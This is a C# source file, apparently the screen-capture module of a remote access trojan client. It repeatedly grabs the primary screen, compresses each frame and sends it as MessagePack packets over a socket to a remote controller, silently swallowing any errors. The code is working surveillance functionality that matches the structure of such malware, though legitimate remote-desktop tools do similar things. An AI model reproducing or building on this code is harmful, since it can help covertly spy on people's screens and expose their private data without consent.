62 lines
2.3 KiB
C#
62 lines
2.3 KiB
C#
using Client.MessagePack;
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using Client.Sockets;
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using StreamLibrary;
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using StreamLibrary.UnsafeCodecs;
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using System.Drawing;
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using System.Drawing.Imaging;
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using System.IO;
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using System.Threading;
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using System.Windows.Forms;
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namespace Client.Handle_Packet
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{
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class RemoteDesktop
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{
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public static bool RemoteDesktop_Status { get; set; }
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public static void CaptureAndSend()
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{
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try
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{
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IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
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while (RemoteDesktop_Status == true)
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{
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if (!ClientSocket.Client.Connected) break;
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Bitmap bmp = GetScreen();
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Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
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Size size = new Size(bmp.Width, bmp.Height);
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BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
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using (MemoryStream stream = new MemoryStream(1000000))
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{
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unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
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if (stream.Length > 0)
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{
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MsgPack msgpack = new MsgPack();
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msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
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msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
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ClientSocket.BeginSend(msgpack.Encode2Bytes());
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}
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}
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bmp.UnlockBits(bmpData);
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bmp.Dispose();
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}
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}
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catch { }
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}
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public static Bitmap GetScreen()
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{
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Rectangle rect = Screen.AllScreens[0].WorkingArea;
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try
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{
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Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
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Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
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gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
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gfxScreenshot.Dispose();
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return bmpScreenshot;
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}
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catch { return new Bitmap(rect.Width, rect.Height); }
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}
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}
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}
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